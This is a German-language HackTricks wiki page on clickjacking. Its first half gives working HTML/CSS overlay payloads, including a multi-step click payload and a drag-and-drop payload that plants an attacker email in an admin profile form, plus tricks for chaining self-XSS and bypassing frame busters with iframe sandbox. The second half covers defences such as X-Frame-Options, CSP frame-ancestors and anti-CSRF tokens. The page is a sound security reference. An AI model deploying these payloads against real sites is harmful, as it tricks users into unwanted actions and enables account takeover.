12 KiB
Clickjacking
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.
Verwenden Sie Trickest, um mithilfe der weltweit fortschrittlichsten Community-Tools Workflows zu erstellen und zu automatisieren.
Heute Zugriff erhalten:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Was ist Clickjacking
Bei einem Clickjacking-Angriff wird ein Benutzer dazu getäuscht, auf ein Element auf einer Webseite zu klicken, das entweder unsichtbar ist oder als anderes Element getarnt ist. Diese Manipulation kann zu unbeabsichtigten Folgen für den Benutzer führen, wie dem Herunterladen von Malware, der Weiterleitung zu bösartigen Webseiten, der Bereitstellung von Anmeldeinformationen oder sensiblen Informationen, Geldtransfers oder dem Online-Kauf von Produkten.
Trick zum Vorabfüllen von Formularen
Manchmal ist es möglich, den Wert von Feldern eines Formulars mithilfe von GET-Parametern beim Laden einer Seite zu füllen. Ein Angreifer kann dieses Verhalten missbrauchen, um ein Formular mit beliebigen Daten zu füllen und das Clickjacking-Payload zu senden, damit der Benutzer die Schaltfläche "Senden" drückt.
Formular mit Drag&Drop ausfüllen
Wenn Sie möchten, dass der Benutzer ein Formular ausfüllt, aber ihn nicht direkt auffordern möchten, bestimmte Informationen einzugeben (wie die E-Mail und/oder ein spezifisches Passwort, das Sie kennen), können Sie ihn einfach bitten, etwas per Drag&Drop zu verschieben, das Ihre kontrollierten Daten schreibt, wie in diesem Beispiel gezeigt.
Grundpayload
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Mehrstufige Payload
In diesem Abschnitt werden wir eine mehrstufige Payload erstellen, um Clickjacking-Angriffe durchzuführen.
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Drag&Drop + Klick-Payload
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
Wenn Sie einen XSS-Angriff identifiziert haben, der erfordert, dass ein Benutzer auf ein Element klickt, um den XSS auszulösen, und die Seite anfällig für Clickjacking ist, könnten Sie sie missbrauchen, um den Benutzer dazu zu bringen, auf die Schaltfläche/den Link zu klicken.
Beispiel:
Sie haben ein Self-XSS in einigen privaten Details des Kontos gefunden (Details, die nur Sie setzen und lesen können). Die Seite mit dem Formular zum Festlegen dieser Details ist anfällig für Clickjacking, und Sie können das Formular mit den GET-Parametern vorbelegen.
__Ein Angreifer könnte einen Clickjacking-Angriff auf diese Seite vorbereiten, das Formular mit dem XSS-Payload vorbelegen und den Benutzer dazu bringen, das Formular abzusenden. So wird, wenn das Formular abgesendet wird und die Werte geändert werden, der Benutzer den XSS ausführen.
Strategien zur Minderung von Clickjacking
Abwehrmaßnahmen auf Clientseite
Skripte, die auf der Clientseite ausgeführt werden, können Aktionen ausführen, um Clickjacking zu verhindern:
- Sicherstellen, dass das Anwendungsfenster das Haupt- oder oberste Fenster ist.
- Alle Frames sichtbar machen.
- Klicken auf unsichtbare Frames verhindern.
- Erkennen und Benutzer über mögliche Clickjacking-Versuche informieren.
Diese Frame-Busting-Skripte können jedoch umgangen werden:
- Sicherheitseinstellungen der Browser: Einige Browser können diese Skripte basierend auf ihren Sicherheitseinstellungen oder dem Fehlen von JavaScript-Unterstützung blockieren.
- HTML5 iframe
sandbox
-Attribut: Ein Angreifer kann Frame-Buster-Skripte neutralisieren, indem er dassandbox
-Attribut mit den Wertenallow-forms
oderallow-scripts
ohneallow-top-navigation
setzt. Dadurch wird verhindert, dass das iframe überprüft, ob es das oberste Fenster ist, z. B.
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
Serverseitige Abwehrmaßnahmen
X-Frame-Options
Der X-Frame-Options
HTTP-Antwortheader informiert Browser über die Legitimität des Renderns einer Seite in einem <frame>
oder <iframe>
, um Clickjacking zu verhindern:
X-Frame-Options: deny
- Keine Domain kann den Inhalt rahmen.X-Frame-Options: sameorigin
- Nur die aktuelle Website kann den Inhalt rahmen.X-Frame-Options: allow-from https://trusted.com
- Nur die angegebene 'uri' kann die Seite rahmen.- Beachten Sie die Einschränkungen: Wenn der Browser diese Direktive nicht unterstützt, funktioniert sie möglicherweise nicht. Einige Browser bevorzugen die CSP frame-ancestors-Direktive.
Content Security Policy (CSP) frame-ancestors-Direktive
Die frame-ancestors
-Direktive in CSP ist die empfohlene Methode zum Schutz vor Clickjacking:
frame-ancestors 'none'
- Ähnlich wieX-Frame-Options: deny
.frame-ancestors 'self'
- Ähnlich wieX-Frame-Options: sameorigin
.frame-ancestors trusted.com
- Ähnlich wieX-Frame-Options: allow-from
.
Beispielsweise erlaubt die folgende CSP nur das Einbetten von der gleichen Domain:
Content-Security-Policy: frame-ancestors 'self';
Weitere Details und komplexe Beispiele finden Sie in der frame-ancestors CSP-Dokumentation und in der Mozilla CSP frame-ancestors-Dokumentation.
Content Security Policy (CSP) mit child-src
und frame-src
Content Security Policy (CSP) ist eine Sicherheitsmaßnahme, die hilft, Clickjacking und andere Code-Injektionsangriffe zu verhindern, indem festgelegt wird, welche Quellen der Browser zum Laden von Inhalten zulassen soll.
frame-src
-Direktive
- Definiert gültige Quellen für Frames.
- Spezifischer als die
default-src
-Direktive.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Diese Richtlinie erlaubt Frames aus der gleichen Quelle (self) und https://trusted-website.com.
child-src
Direktive
- Wurde in CSP Level 2 eingeführt, um gültige Quellen für Web Workers und Frames festzulegen.
- Dient als Fallback für frame-src und worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Diese Richtlinie erlaubt Frames und Worker aus der gleichen Quelle (self) und https://trusted-website.com.
Verwendungshinweise:
- Veraltung: child-src wird zugunsten von frame-src und worker-src abgeschafft.
- Fallback-Verhalten: Wenn frame-src fehlt, wird child-src als Fallback für Frames verwendet. Wenn beide fehlen, wird default-src verwendet.
- Strikte Quellendefinition: Fügen Sie nur vertrauenswürdige Quellen in die Direktiven ein, um Ausnutzungen zu verhindern.
JavaScript Frame-Breaking Scripts
Obwohl nicht vollständig narrensicher, können JavaScript-basierte Frame-Busting-Skripte verwendet werden, um zu verhindern, dass eine Webseite gerahmt wird. Beispiel:
if (top !== self) {
top.location = self.location;
}
Verwendung von Anti-CSRF-Token
- Token-Validierung: Verwenden Sie Anti-CSRF-Token in Webanwendungen, um sicherzustellen, dass zustandsändernde Anfragen absichtlich vom Benutzer und nicht über eine Clickjacked-Seite erfolgen.
Referenzen
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
Verwenden Sie Trickest, um mühelos Workflows zu erstellen und zu automatisieren, die von den weltweit fortschrittlichsten Community-Tools unterstützt werden.
Erhalten Sie noch heute Zugriff:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merch
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories einreichen.